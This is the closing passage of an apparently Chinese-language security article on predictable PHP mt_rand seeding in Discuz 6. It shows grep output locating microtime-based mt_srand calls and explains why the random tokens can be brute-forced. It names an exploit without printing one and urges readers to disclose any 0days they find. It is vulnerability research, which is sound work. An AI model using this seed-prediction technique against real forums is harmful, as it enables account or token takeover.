heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5 ./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name); ./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>'; ./include/global.func.php-696-} ./include/global.func.php-697- ./include/global.func.php-698-function random($length, $numeric = 0) { ./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); ./include/global.func.php-700-  if($numeric) { ./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); ./include/global.func.php-702-  } else { ./include/global.func.php-703-          $hash = ''; ./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; -- ./include/discuzcode.func.php-30- ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) { ./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; ./include/discuzcode.func.php-33-} ./include/discuzcode.func.php-34- ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); ./include/discuzcode.func.php-36- ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) { ./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; ./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid]; ./include/discuzcode.func.php-40-       if($attach['attachimg']) {

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。

后话

本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!

附录

[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/

[3] http://bugs.php.net/bug.php?id=40114

原文地址:https://code.google.com/p/pasc2at/wiki/SimplifiedChinese



admin 发布于  2015-8-1 11:29